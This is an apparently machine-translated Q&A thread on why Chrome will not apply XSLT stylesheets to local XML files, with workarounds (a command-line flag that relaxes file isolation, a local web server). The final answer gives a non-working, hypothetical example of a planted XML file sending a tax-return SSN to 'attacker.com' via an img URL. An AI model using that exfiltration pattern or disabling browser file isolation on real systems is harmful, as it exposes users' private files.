Chrome可以在本地文件上执行XSL转换吗?

我正在调查xslt,并开始在w3schools上进行testing。

但是,当我保存文件中的xml和xsl并尝试在本地打开它们时,chrome将不执行xsl转换。 它只是显示一个空白页面。

我已经将这个<?xml-stylesheet type="text/xsl" href="style.xsl">标签添加到了xml文档中,并且firefox按照它的样子呈现它。 另外,如果我通过Web服务器查看这些文件,chrome将显示该文件的外观。

当链接是本地的时候,chrome在查找样式表信息时是否有问题? 将href更改为file:///C:/xsl/style.xsl没有任何区别。

更新:这似乎是一个安全策略的副作用, 不把file:/// *视为同一个原点。 这会在控制台中显示以下错误:

不安全的尝试使用URL文件:/// C:/xsl-rpg/data.xml从框架加载URL文件:/// C:/xsl-rpg/style.xsl。 域,协议和端口必须匹配。

简短的回答是“不,使用多种浏览器之一”

这是行不通的原因是Chrome浏览器以有争议的方式解决了安全问题[1] [2] [3] [4] ,通过阻止XML文件访问同一目录中的本地XSLT文件,而HTML文件可以访问同一目录中的.CSS文件就好了。

在上面提到的问题中,用户已经要求更清楚的错误消息(因为域,协议和端口实际上匹配),或者至less在没有样式的情况下显示XML。 Chrome开发者已经忽略了这些请求。

您可以使用Chrome的命令行标志在本地执行此操作。

特定的标志是--allow-file-access-from-files

在OS X上:从Terminal.app运行/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在Windows上:从命令提示符下运行%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意:如果当前正在运行Chrome,则可能必须退出Chrome

如果你想坚持OP,答案是否定的(正如其他人指出的),但解决这个问题的一个办法是运行一个简单的networking服务器,并通过chrome打开文件。 如果你安装了python 2.x,你可以通过键入以下命令运行一个web服务器:

 python -m SimpleHTTPServer 

或者在python 3.x中:

 python3 -m http.server 

然后使用chrome中的http://localhost:8000/yourfile.xml打开文件。 希望你只是想完成你的工作,而不是必须打开文件使用file://

在Chrome Bug页面上花了一些时间来解读 – 他们非常热衷于不解释问题所在,以及为什么select打破每个人,而不是打破每个人。

假设我的硬盘上有一个XML文件 – 某处 – 例如:

C:\用户\伊恩\文档\税\ StudioTaxReturn_2015.xml

而一个恶意的实体 – 不知何故 – 设法在我的电脑上放置一个恶意的Xml文件,例如:

C:\ Users \用户伊恩\应用程序数据\ LocalLow \ TEMP \ TrojanVirusWorm.xml

想象一下, TrojanVirusWorm.xml包含样式表处理指令( PI ):

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> 

攻击者然后指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

显然有一种方式,XML文件可以读取 XSD文件的内容(而不是由XSD文件进行转换):

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?> <!--And then a miracle happens, and this XML file is able to read the contents of the stylesheet xml file--> <html> <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img> </html> 

我不明白XML文件如何读取样式表文件。 但是Chrome团队向我们保证,这是一个危险,而且不能解决。

每个其他浏览器解决了它。 他们解决了这个问题, 因为这不是问题 。